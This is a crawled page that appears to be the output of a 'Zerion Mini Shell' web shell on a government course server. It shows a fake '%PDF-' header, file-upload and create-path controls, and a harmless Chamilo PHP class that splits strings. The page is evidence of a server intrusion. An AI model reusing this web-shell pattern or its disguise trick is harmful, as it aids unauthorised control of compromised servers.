%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/tjamichg/cursos.tjamich.gob.mx/plugin/migrationmoodle/src/Transformer/Property/
Upload File :
Create Path :
Current File : /home/tjamichg/cursos.tjamich.gob.mx/plugin/migrationmoodle/src/Transformer/Property/Explode.php

<?php
/* For licensing terms, see /license.txt */

namespace Chamilo\PluginBundle\MigrationMoodle\Transformer\Property;

use Chamilo\PluginBundle\MigrationMoodle\Interfaces\TransformPropertyInterface;

/**
 * Class Explode.
 *
 * @package Chamilo\PluginBundle\MigrationMoodle\Transformer\Property
 */
class Explode implements TransformPropertyInterface
{
    public const SEPARATOR = '@mm@';

    /**
     * @return mixed
     */
    public function transform(array $data)
    {
        $value = current($data);

        return explode(self::SEPARATOR, $value);
    }
}

Zerion Mini Shell 1.0